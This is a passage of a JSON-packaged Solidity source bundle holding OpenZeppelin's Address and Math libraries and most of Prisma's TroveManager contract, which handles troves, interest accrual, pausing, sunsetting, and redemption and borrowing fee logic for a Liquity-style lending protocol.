bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/math/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/Math.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Standard math utilities missing in the Solidity language.\n */\nlibrary Math {\n enum Rounding {\n Down, // Toward negative infinity\n Up, // Toward infinity\n Zero // Toward zero\n }\n\n /**\n * @dev Returns the largest of two numbers.\n */\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n /**\n * @dev Returns the smallest of two numbers.\n */\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n /**\n * @dev Returns the average of two numbers. The result is rounded towards\n * zero.\n */\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b) / 2 can overflow.\n return (a & b) + (a ^ b) / 2;\n }\n\n /**\n * @dev Returns the ceiling of the division of two numbers.\n *\n * This differs from standard division with `/` in that it rounds up instead\n * of rounding down.\n */\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b - 1) / b can overflow on addition, so we distribute.\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n /**\n * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or denominator == 0\n * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv)\n * with further edits by Uniswap Labs also under MIT license.\n */\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n unchecked {\n // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use\n // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256\n // variables such that product = prod1 * 2^256 + prod0.\n uint256 prod0; // Least significant 256 bits of the product\n uint256 prod1; // Most significant 256 bits of the product\n assembly {\n let mm := mulmod(x, y, not(0))\n prod0 := mul(x, y)\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n // Handle non-overflow cases, 256 by 256 division.\n if (prod1 == 0) {\n return prod0 / denominator;\n }\n\n // Make sure the result is less than 2^256. Also prevents denominator == 0.\n require(denominator > prod1);\n\n ///////////////////////////////////////////////\n // 512 by 256 division.\n ///////////////////////////////////////////////\n\n // Make division exact by subtracting the remainder from [prod1 prod0].\n uint256 remainder;\n assembly {\n // Compute remainder using mulmod.\n remainder := mulmod(x, y, denominator)\n\n // Subtract 256 bit number from 512 bit number.\n prod1 := sub(prod1, gt(remainder, prod0))\n prod0 := sub(prod0, remainder)\n }\n\n // Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1.\n // See https://cs.stackexchange.com/q/138556/92363.\n\n // Does not overflow because the denominator cannot be zero at this stage in the function.\n uint256 twos = denominator & (~denominator + 1);\n assembly {\n // Divide denominator by twos.\n denominator := div(denominator, twos)\n\n // Divide [prod1 prod0] by twos.\n prod0 := div(prod0, twos)\n\n // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n // Shift in bits from prod1 into prod0.\n prod0 |= prod1 * twos;\n\n // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such\n // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for\n // four bits. That is, denominator * inv = 1 mod 2^4.\n uint256 inverse = (3 * denominator) ^ 2;\n\n // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works\n // in modular arithmetic, doubling the correct bits in each step.\n inverse *= 2 - denominator * inverse; // inverse mod 2^8\n inverse *= 2 - denominator * inverse; // inverse mod 2^16\n inverse *= 2 - denominator * inverse; // inverse mod 2^32\n inverse *= 2 - denominator * inverse; // inverse mod 2^64\n inverse *= 2 - denominator * inverse; // inverse mod 2^128\n inverse *= 2 - denominator * inverse; // inverse mod 2^256\n\n // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.\n // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is\n // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1\n // is no longer required.\n result = prod0 * inverse;\n return result;\n }\n }\n\n /**\n * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.\n */\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator,\n Rounding rounding\n ) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n return result;\n }\n\n /**\n * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded down.\n *\n * Inspired by Henry S. Warren, Jr.'s \"Hacker's Delight\" (Chapter 11).\n */\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.\n //\n // We know that the \"msb\" (most significant bit) of our target number `a` is a power of 2 such that we have\n // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.\n //\n // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`\n // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`\n // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`\n //\n // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.\n uint256 result = 1 << (log2(a) >> 1);\n\n // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,\n // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at\n // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision\n // into the expected uint128 result.\n unchecked {\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n return min(result, a / result);\n }\n }\n\n /**\n * @notice Calculates sqrt(a), following the selected rounding direction.\n */\n function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 2, rounded down, of a positive value.\n * Returns 0 if given 0.\n */\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 128;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 64;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 32;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 16;\n }\n if (value >> 8 > 0) {\n value >>= 8;\n result += 8;\n }\n if (value >> 4 > 0) {\n value >>= 4;\n result += 4;\n }\n if (value >> 2 > 0) {\n value >>= 2;\n result += 2;\n }\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 2, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 10, rounded down, of a positive value.\n * Returns 0 if given 0.\n */\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >= 10**64) {\n value /= 10**64;\n result += 64;\n }\n if (value >= 10**32) {\n value /= 10**32;\n result += 32;\n }\n if (value >= 10**16) {\n value /= 10**16;\n result += 16;\n }\n if (value >= 10**8) {\n value /= 10**8;\n result += 8;\n }\n if (value >= 10**4) {\n value /= 10**4;\n result += 4;\n }\n if (value >= 10**2) {\n value /= 10**2;\n result += 2;\n }\n if (value >= 10**1) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 10, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n return result + (rounding == Rounding.Up && 10**result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 256, rounded down, of a positive value.\n * Returns 0 if given 0.\n *\n * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.\n */\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 16;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 8;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 4;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 2;\n }\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 10, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n return result + (rounding == Rounding.Up && 1 << (result * 8) < value ? 1 : 0);\n }\n }\n}\n"
},
"contracts/core/TroveManager.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"@openzeppelin/contracts/utils/math/Math.sol\";\nimport \"../interfaces/IBorrowerOperations.sol\";\nimport \"../interfaces/IDebtToken.sol\";\nimport \"../interfaces/ISortedTroves.sol\";\nimport \"../interfaces/IVault.sol\";\nimport \"../interfaces/IPriceFeed.sol\";\nimport { ReedemedTrove, ITroveRedemptionsCallback } from \"../interfaces/IPrismaCallbacks.sol\";\nimport \"../dependencies/SystemStart.sol\";\nimport \"../dependencies/PrismaBase.sol\";\nimport \"../dependencies/PrismaMath.sol\";\nimport \"../dependencies/PrismaOwnable.sol\";\n\n/**\n @title Prisma Trove Manager\n @notice Based on Liquity's `TroveManager`\n https://github.com/liquity/dev/blob/main/packages/contracts/contracts/TroveManager.sol\n\n Prisma's implementation is modified so that multiple `TroveManager` and `SortedTroves`\n contracts are deployed in tandem, with each pair managing troves of a single collateral\n type.\n\n Functionality related to liquidations has been moved to `LiquidationManager`. This was\n necessary to avoid the restriction on deployed bytecode size.\n */\ncontract TroveManager is PrismaBase, PrismaOwnable, SystemStart {\n using SafeERC20 for IERC20;\n\n // --- Connected contract declarations ---\n\n address public immutable borrowerOperationsAddress;\n address public immutable liquidationManager;\n address immutable gasPoolAddress;\n IDebtToken public immutable debtToken;\n IPrismaVault public immutable vault;\n // During bootsrap period redemptions are not allowed\n uint256 public immutable bootstrapPeriod;\n IPriceFeed public priceFeed;\n IERC20 public collateralToken;\n\n // A doubly linked list of Troves, sorted by their collateral ratios\n ISortedTroves public sortedTroves;\n\n EmissionId public emissionId;\n // Minimum collateral ratio for individual troves\n uint256 public MCR;\n\n uint256 constant SECONDS_IN_ONE_MINUTE = 60;\n uint256 constant INTEREST_PRECISION = 1e27;\n uint256 constant SECONDS_IN_YEAR = 365 days;\n uint256 constant REWARD_DURATION = 1 weeks;\n\n // volume-based amounts are divided by this value to allow storing as uint32\n uint256 constant VOLUME_MULTIPLIER = 1e20;\n\n uint256 public constant SUNSETTING_INTEREST_RATE = (INTEREST_PRECISION * 5000) / (10000 * SECONDS_IN_YEAR); //50% // During bootsrap period redemptions are not allowed\n /*\n * BETA: 18 digit decimal. Parameter by which to divide the redeemed fraction, in order to calc the new base rate from a redemption.\n * Corresponds to (1 / ALPHA) in the white paper.\n */\n uint256 constant BETA = 2;\n\n // commented values are Liquity's fixed settings for each parameter\n uint256 public minuteDecayFactor; // 999037758833783000 (half-life of 12 hours)\n uint256 public redemptionFeeFloor; // DECIMAL_PRECISION / 1000 * 5 (0.5%)\n uint256 public maxRedemptionFee; // DECIMAL_PRECISION (100%)\n uint256 public borrowingFeeFloor; // DECIMAL_PRECISION / 1000 * 5 (0.5%)\n uint256 public maxBorrowingFee; // DECIMAL_PRECISION / 100 * 5 (5%)\n uint256 public maxSystemDebt;\n\n uint256 public interestRate;\n uint256 public activeInterestIndex;\n uint256 public lastActiveIndexUpdate;\n\n uint256 public systemDeploymentTime;\n bool public sunsetting;\n bool public paused;\n\n uint256 public baseRate;\n\n // The timestamp of the latest fee operation (redemption or new debt issuance)\n uint256 public lastFeeOperationTime;\n\n uint256 public totalStakes;\n\n // Snapshot of the value of totalStakes, taken immediately after the latest liquidation\n uint256 public totalStakesSnapshot;\n\n // Snapshot of the total collateral taken immediately after the latest liquidation.\n uint256 public totalCollateralSnapshot;\n\n /*\n * L_collateral and L_debt track the sums of accumulated liquidation rewards per unit staked. During its lifetime, each stake earns:\n *\n * An collateral gain of ( stake * [L_collateral - L_collateral(0)] )\n * A debt increase of ( stake * [L_debt - L_debt(0)] )\n *\n * Where L_collateral(0) and L_debt(0) are snapshots of L_collateral and L_debt for the active Trove taken at the instant the stake was made\n */\n uint256 public L_collateral;\n uint256 public L_debt;\n\n // Error trackers for the trove redistribution calculation\n uint256 public lastCollateralError_Redistribution;\n uint256 public lastDebtError_Redistribution;\n\n uint256 internal totalActiveCollateral;\n uint256 internal totalActiveDebt;\n uint256 public interestPayable;\n\n uint256 public defaultedCollateral;\n uint256 public defaultedDebt;\n\n uint256 public rewardIntegral;\n uint128 public rewardRate;\n uint32 public lastUpdate;\n uint32 public periodFinish;\n uint16 public redemptionFeesRebate;\n\n ITroveRedemptionsCallback private _redemptionsCallback;\n\n mapping(address => uint256) public rewardIntegralFor;\n mapping(address => uint256) private storedPendingReward;\n\n // week -> total available rewards for 1 day within this week\n uint256[65535] public dailyMintReward;\n\n // week -> day -> total amount redeemed this day\n uint32[7][65535] private totalMints;\n\n // account -> data for latest activity\n mapping(address => VolumeData) public accountLatestMint;\n\n mapping(address => Trove) public Troves;\n mapping(address => uint256) public surplusBalances;\n\n // Map addresses with active troves to their RewardSnapshot\n mapping(address => RewardSnapshot) public rewardSnapshots;\n\n // Array of all active trove addresses - used to to compute an approximate hint off-chain, for the sorted list insertion\n address[] TroveOwners;\n\n struct VolumeData {\n uint32 amount;\n uint32 week;\n uint32 day;\n }\n\n struct EmissionId {\n uint16 debt;\n uint16 minting;\n }\n\n // Store the necessary data for a trove\n struct Trove {\n uint256 debt;\n uint256 coll;\n uint256 stake;\n Status status;\n uint128 arrayIndex;\n uint256 activeInterestIndex;\n }\n\n struct RedemptionTotals {\n uint256 remainingDebt;\n uint256 totalDebtToRedeem;\n uint256 totalCollateralDrawn;\n uint256 collateralFee;\n uint256 collateralToSendToRedeemer;\n uint256 decayedBaseRate;\n uint256 price;\n uint256 totalDebtSupplyAtStart;\n uint256 numberOfRedemptions;\n ReedemedTrove[] trovesRedeemed;\n }\n\n struct SingleRedemptionValues {\n uint256 debtLot;\n uint256 collateralLot;\n bool cancelledPartial;\n }\n\n // Object containing the collateral and debt snapshots for a given active trove\n struct RewardSnapshot {\n uint256 collateral;\n uint256 debt;\n }\n\n enum TroveManagerOperation {\n open,\n close,\n adjust,\n liquidate,\n redeemCollateral\n }\n\n enum Status {\n nonExistent,\n active,\n closedByOwner,\n closedByLiquidation,\n closedByRedemption\n }\n\n event TroveUpdated(\n address indexed _borrower,\n uint256 _debt,\n uint256 _coll,\n uint256 _stake,\n TroveManagerOperation _operation\n );\n\n event Redemption(\n uint256 _attemptedDebtAmount,\n uint256 _actualDebtAmount,\n uint256 _collateralSent,\n uint256 _collateralFee\n );\n event BaseRateUpdated(uint256 _baseRate);\n event LastFeeOpTimeUpdated(uint256 _lastFeeOpTime);\n event TotalStakesUpdated(uint256 _newTotalStakes);\n event SystemSnapshotsUpdated(uint256 _totalStakesSnapshot, uint256 _totalCollateralSnapshot);\n event LTermsUpdated(uint256 _L_collateral, uint256 _L_debt);\n event TroveSnapshotsUpdated(uint256 _L_collateral, uint256 _L_debt);\n event TroveIndexUpdated(address _borrower, uint256 _newIndex);\n event CollateralSent(address _to, uint256 _amount);\n event RewardClaimed(address indexed account, address indexed recipient, uint256 claimed);\n event RedemptionFeesRebateSet(uint16 redemptionFeesRebate);\n\n modifier whenNotPaused() {\n require(!paused, \"Collateral Paused\");\n _;\n }\n\n constructor(\n address _prismaCore,\n address _gasPoolAddress,\n address _debtTokenAddress,\n address _borrowerOperationsAddress,\n address _vault,\n address _liquidationManager,\n uint256 _gasCompensation,\n uint256 _bootstrapPeriod\n ) PrismaOwnable(_prismaCore) PrismaBase(_gasCompensation) SystemStart(_prismaCore) {\n gasPoolAddress = _gasPoolAddress;\n debtToken = IDebtToken(_debtTokenAddress);\n borrowerOperationsAddress = _borrowerOperationsAddress;\n vault = IPrismaVault(_vault);\n liquidationManager = _liquidationManager;\n bootstrapPeriod = _bootstrapPeriod;\n }\n\n function setAddresses(address _priceFeedAddress, address _sortedTrovesAddress, address _collateralToken) external {\n require(address(sortedTroves) == address(0));\n priceFeed = IPriceFeed(_priceFeedAddress);\n sortedTroves = ISortedTroves(_sortedTrovesAddress);\n collateralToken = IERC20(_collateralToken);\n\n systemDeploymentTime = block.timestamp;\n sunsetting = false;\n activeInterestIndex = INTEREST_PRECISION;\n lastActiveIndexUpdate = block.timestamp;\n }\n\n function notifyRegisteredId(uint256[] calldata _assignedIds) external returns (bool) {\n require(msg.sender == address(vault));\n require(emissionId.debt == 0, \"Already assigned\");\n uint256 length = _assignedIds.length;\n require(length == 2, \"Incorrect ID count\");\n emissionId = EmissionId({ debt: uint16(_assignedIds[0]), minting: uint16(_assignedIds[1]) });\n periodFinish = uint32(((block.timestamp / 1 weeks) + 1) * 1 weeks);\n\n return true;\n }\n\n /**\n * @notice Sets the pause state for this trove manager\n * Pausing is used to mitigate risks in exceptional circumstances\n * Functionalities affected by pausing are:\n * - New borrowing is not possible\n * - New collateral deposits are not possible\n * @param _paused If true the protocol is paused\n */\n function setPaused(bool _paused) external {\n require((_paused && msg.sender == guardian()) || msg.sender == owner(), \"Unauthorized\");\n paused = _paused;\n }\n\n /**\n * @notice Sets a custom price feed for this trove manager\n * @param _priceFeedAddress Price feed address\n */\n function setPriceFeed(address _priceFeedAddress) external onlyOwner {\n priceFeed = IPriceFeed(_priceFeedAddress);\n }\n\n /**\n * @notice Sets a callback contract for redemptions on this trove manager\n * @param redemptionsCallback Callback contract\n */\n function setRedemptionsCallback(ITroveRedemptionsCallback redemptionsCallback) external onlyOwner {\n _redemptionsCallback = redemptionsCallback;\n }\n\n /**\n * @notice Starts sunsetting a collateral\n * During sunsetting only the following are possible:\n 1) Disable collateral handoff to SP\n 2) Greatly Increase interest rate to incentivize redemptions\n 3) Remove redemptions fees\n 4) Disable new loans\n @dev IMPORTANT: When sunsetting a collateral altogether this function should be called on\n all TM linked to that collateral as well as `StabilityPool.startCollateralSunset`\n */\n function startSunset() external onlyOwner {\n sunsetting = true;\n _accrueActiveInterests();\n interestRate = SUNSETTING_INTEREST_RATE;\n // accrual function doesn't update timestamp if interest was 0\n lastActiveIndexUpdate = block.timestamp;\n redemptionFeeFloor = 0;\n maxSystemDebt = 0;\n }\n\n /**\n * @notice Sets the redemption fees rebate percentage\n * @param _redemptionFeesRebate Percentage of redemption fees rebated to users expressed in bps\n */\n function setRedemptionFeesRebate(uint16 _redemptionFeesRebate) external onlyOwner {\n require(_redemptionFeesRebate <= 10000, \"Too large\");\n redemptionFeesRebate = _redemptionFeesRebate;\n emit RedemptionFeesRebateSet(_redemptionFeesRebate);\n }\n\n /*\n _minuteDecayFactor is calculated as\n\n 10**18 * (1/2)**(1/n)\n\n where n = the half-life in minutes\n */\n function setParameters(\n uint256 _minuteDecayFactor,\n uint256 _redemptionFeeFloor,\n uint256 _maxRedemptionFee,\n uint256 _borrowingFeeFloor,\n uint256 _maxBorrowingFee,\n uint256 _interestRateInBPS,\n uint256 _maxSystemDebt,\n uint256 _MCR\n ) public {\n require(!sunsetting, \"Cannot change after sunset\");\n require(_MCR <= CCR && _MCR >= 1100000000000000000, \"MCR cannot be > CCR or < 110%\");\n if (minuteDecayFactor != 0) {\n require(msg.sender == owner(), \"Only owner\");\n }\n require(\n _minuteDecayFactor >= 977159968434245000 && // half-life of 30 minutes\n _minuteDecayFactor <= 999931237762985000 // half-life of 1 week\n );\n require(_redemptionFeeFloor <= _maxRedemptionFee && _maxRedemptionFee <= DECIMAL_PRECISION);\n require(_borrowingFeeFloor <= _maxBorrowingFee && _maxBorrowingFee <= DECIMAL_PRECISION);\n\n _decayBaseRate();\n\n minuteDecayFactor = _minuteDecayFactor;\n redemptionFeeFloor = _redemptionFeeFloor;\n maxRedemptionFee = _maxRedemptionFee;\n borrowingFeeFloor = _borrowingFeeFloor;\n maxBorrowingFee = _maxBorrowingFee;\n maxSystemDebt = _maxSystemDebt;\n\n uint256 newInterestRate = (INTEREST_PRECISION * _interestRateInBPS) / (10000 * SECONDS_IN_YEAR);\n if (newInterestRate != interestRate) {\n _accrueActiveInterests();\n // accrual function doesn't update timestamp if interest was 0\n lastActiveIndexUpdate = block.timestamp;\n interestRate = newInterestRate;\n }\n MCR = _MCR;\n }\n\n function collectInterests() external {\n uint256 interestPayableCached = interestPayable;\n require(interestPayableCached > 0, \"Nothing to collect\");\n debtToken.mint(PRISMA_CORE.feeReceiver(), interestPayableCached);\n interestPayable = 0;\n }\n\n // --- Getters ---\n\n function fetchPrice() public returns (uint256) {\n IPriceFeed _priceFeed = priceFeed;\n if (address(_priceFeed) == address(0)) {\n _priceFeed = IPriceFeed(PRISMA_CORE.priceFeed());\n }\n return _priceFeed.fetchPrice(address(collateralToken));\n }\n\n function getWeekAndDay() public view returns (uint256, uint256) {\n uint256 duration = (block.timestamp - startTime);\n uint256 week = duration / 1 weeks;\n uint256 day = (duration % 1 weeks) / 1 days;\n return (week, day);\n }\n\n function getTotalMints(uint256 week) external view returns (uint32[7] memory) {\n return totalMints[week];\n }\n\n function getTroveOwnersCount() external view returns (uint256) {\n return TroveOwners.length;\n }\n\n function getInterestRateInBps() external view returns (uint256) {\n return (interestRate * 10000 * SECONDS_IN_YEAR) / INTEREST_PRECISION;\n }\n\n function getTroveFromTroveOwnersArray(uint256 _index) external view returns (address) {\n return TroveOwners[_index];\n }\n\n function getTroveStatus(address _borrower) external view returns (uint256) {\n return uint256(Troves[_borrower].status);\n }\n\n function getTroveStake(address _borrower) external view returns (uint256) {\n return Troves[_borrower].stake;\n }\n\n /**\n @notice Get the current total collateral and debt amounts for a trove\n @dev Also includes pending rewards from redistribution\n */\n function getTroveCollAndDebt(address _borrower) public view returns (uint256 coll, uint256 debt) {\n (debt, coll, , ) = getEntireDebtAndColl(_borrower);\n return (coll, debt);\n }\n\n /**\n @notice Get the total and pending collateral and debt amounts for a trove\n @dev Used by the liquidation manager\n */\n function getEntireDebtAndColl(\n address _borrower\n ) public view returns (uint256 debt, uint256 coll, uint256 pendingDebtReward, uint256 pendingCollateralReward) {\n Trove storage t = Troves[_borrower];\n debt = t.debt;\n coll = t.coll;\n\n (pendingCollateralReward, pendingDebtReward) = getPendingCollAndDebtRewards(_borrower);\n // Accrued trove interest for correct liquidation values. This assumes the index to be updated.\n uint256 troveInterestIndex = t.activeInterestIndex;\n if (troveInterestIndex > 0) {\n (uint256 currentIndex, ) = _calculateInterestIndex();\n debt = (debt * currentIndex) / troveInterestIndex;\n }\n\n debt = debt + pendingDebtReward;\n coll = coll + pendingCollateralReward;\n }\n\n function getEntireSystemColl() public view returns (uint256) {\n return totalActiveCollateral + defaultedCollateral;\n }\n\n function getEntireSystemDebt() public view returns (uint256) {\n uint256 currentActiveDebt = totalActiveDebt;\n (, uint256 interestFactor) = _calculateInterestIndex();\n if (interestFactor > 0) {\n uint256 activeInterests = Math.mulDiv(currentActiveDebt, interestFactor, INTEREST_PRECISION);\n currentActiveDebt = currentActiveDebt + activeInterests;\n }\n return currentActiveDebt + defaultedDebt;\n }\n\n function getEntireSystemBalances() external returns (uint256, uint256, uint256) {\n return (getEntireSystemColl(), getEntireSystemDebt(), fetchPrice());\n }\n\n // --- Helper functions ---\n\n // Return the nominal collateral ratio (ICR) of a given Trove, without the price. Takes a trove's pending coll and debt rewards from redistributions into account.\n function getNominalICR(address _borrower) public view returns (uint256) {\n (uint256 currentCollateral, uint256 currentDebt) = getTroveCollAndDebt(_borrower);\n\n uint256 NICR = PrismaMath._computeNominalCR(currentCollateral, currentDebt);\n return NICR;\n }\n\n // Return the current collateral ratio (ICR) of a given Trove. Takes a trove's pending coll and debt rewards from redistributions into account.\n function getCurrentICR(address _borrower, uint256 _price) public view returns (uint256) {\n (uint256 currentCollateral, uint256 currentDebt) = getTroveCollAndDebt(_borrower);\n\n uint256 ICR = PrismaMath._computeCR(currentCollateral, currentDebt, _price);\n return ICR;\n }\n\n function getTotalActiveCollateral() public view returns (uint256) {\n return totalActiveCollateral;\n }\n\n function getTotalActiveDebt() public view returns (uint256) {\n uint256 currentActiveDebt = totalActiveDebt;\n (, uint256 interestFactor) = _calculateInterestIndex();\n if (interestFactor > 0) {\n uint256 activeInterests = Math.mulDiv(currentActiveDebt, interestFactor, INTEREST_PRECISION);\n currentActiveDebt = currentActiveDebt + activeInterests;\n }\n return currentActiveDebt;\n }\n\n // Get the borrower's pending accumulated collateral and debt rewards, earned by their stake\n function getPendingCollAndDebtRewards(address _borrower) public view returns (uint256, uint256) {\n RewardSnapshot memory snapshot = rewardSnapshots[_borrower];\n\n uint256 coll = L_collateral - snapshot.collateral;\n uint256 debt = L_debt - snapshot.debt;\n\n if (coll + debt == 0 || Troves[_borrower].status != Status.active) return (0, 0);\n\n uint256 stake = Troves[_borrower].stake;\n return ((stake * coll) / DECIMAL_PRECISION, (stake * debt) / DECIMAL_PRECISION);\n }\n\n function hasPendingRewards(address _borrower) public view returns (bool) {\n /*\n * A Trove has pending rewards if its snapshot is less than the current rewards per-unit-staked sum:\n * this indicates that rewards have occured since the snapshot was made, and the user therefore has\n * pending rewards\n */\n if (Troves[_borrower].status != Status.active) {\n return false;\n }\n\n return (rewardSnapshots[_borrower].collateral < L_collateral);\n }\n\n // --- Redemption fee functions ---\n\n /*\n * This function has two impacts on the baseRate state variable:\n * 1) decays the baseRate based on time passed since last redemption or debt borrowing operation.\n * then,\n * 2) increases the baseRate based on the amount redeemed, as a proportion of total supply\n */\n function _updateBaseRateFromRedemption(\n uint256 _collateralDrawn,\n uint256 _price,\n uint256 _totalDebtSupply\n ) internal returns (uint256) {\n uint256 decayedBaseRate = _calcDecayedBaseRate();\n\n /* Convert the drawn collateral back to debt at face value rate (1 debt:1 USD), in order to get\n * the fraction of total supply that was redeemed at face value. */\n uint256 redeemedDebtFraction = (_collateralDrawn * _price) / _totalDebtSupply;\n\n uint256 newBaseRate = decayedBaseRate + (redeemedDebtFraction / BETA);\n newBaseRate = PrismaMath._min(newBaseRate, DECIMAL_PRECISION); // cap baseRate at a maximum of 100%\n\n // Update the baseRate state variable\n baseRate = newBaseRate;\n emit BaseRateUpdated(newBaseRate);\n\n _updateLastFeeOpTime();\n\n return newBaseRate;\n }\n\n function getRedemptionRate() public view returns (uint256) {\n return _calcRedemptionRate(baseRate);\n }\n\n function getRedemptionRateWithDecay() public view returns (uint256) {\n return _calcRedemptionRate(_calcDecayedBaseRate());\n }\n\n function _calcRedemptionRate(uint256 _baseRate) internal view returns (uint256) {\n return\n PrismaMath._min(\n redemptionFeeFloor + _baseRate,\n maxRedemptionFee // cap at a maximum of 100%\n );\n }\n\n function getRedemptionFeeWithDecay(uint256 _collateralDrawn) external view returns (uint256) {\n return _calcRedemptionFee(getRedemptionRateWithDecay(), _collateralDrawn);\n }\n\n function _calcRedemptionFee(uint256 _redemptionRate, uint256 _collateralDrawn) internal pure returns (uint256) {\n uint256 redemptionFee = (_redemptionRate * _collateralDrawn) / DECIMAL_PRECISION;\n require(redemptionFee < _collateralDrawn, \"Fee exceeds returned collateral\");\n return redemptionFee;\n }\n\n // --- Borrowing fee functions ---\n\n function getBorrowingRate() public view returns (uint256) {\n return _calcBorrowingRate(baseRate);\n }\n\n function getBorrowingRateWithDecay() public view returns (uint256) {\n return _calcBorrowingRate(_calcDecayedBaseRate());\n }\n\n function _calcBorrowingRate(uint256 _baseRate) internal view returns (uint256) {\n return PrismaMath._min(borrowingFeeFloor + _baseRate, maxBorrowingFee);\n }\n\n function getBorrowingFee(uint256 _debt) external view returns (uint256) {\n return _calcBorrowingFee(getBorrowingRate(), _debt);\n }\n\n function getBorrowingFeeWithDecay(uint256 _debt) external view returns (uint256) {\n return _calcBorrowingFee(getBorrowingRateWithDecay(), _debt);\n }\n\n function _calcBorrowingFee(uint256 _borrowingRate, uint256 _debt) internal pure returns (uint256) {\n return (_borrowingRate * _debt) / DECIMAL_PRECISION;\n }\n\n // --- Internal fee functions ---\n\n // Update the last fee operation time only if time passed >= decay interval. This prevents base rate griefing.\n function _updateLastFeeOpTime() internal {\n uint256 timePassed = block.timestamp - lastFeeOperationTime;\n\n if (timePassed >= SECONDS_IN_ONE_MINUTE) {\n lastFeeOperationTime = block.timestamp;\n emit LastFeeOpTimeUpdated(block.timestamp);\n }\n }\n\n function _calcDecayedBaseRate() internal view returns (uint256) {\n uint256 minutesPassed = (block.timestamp - lastFeeOperationTime) / 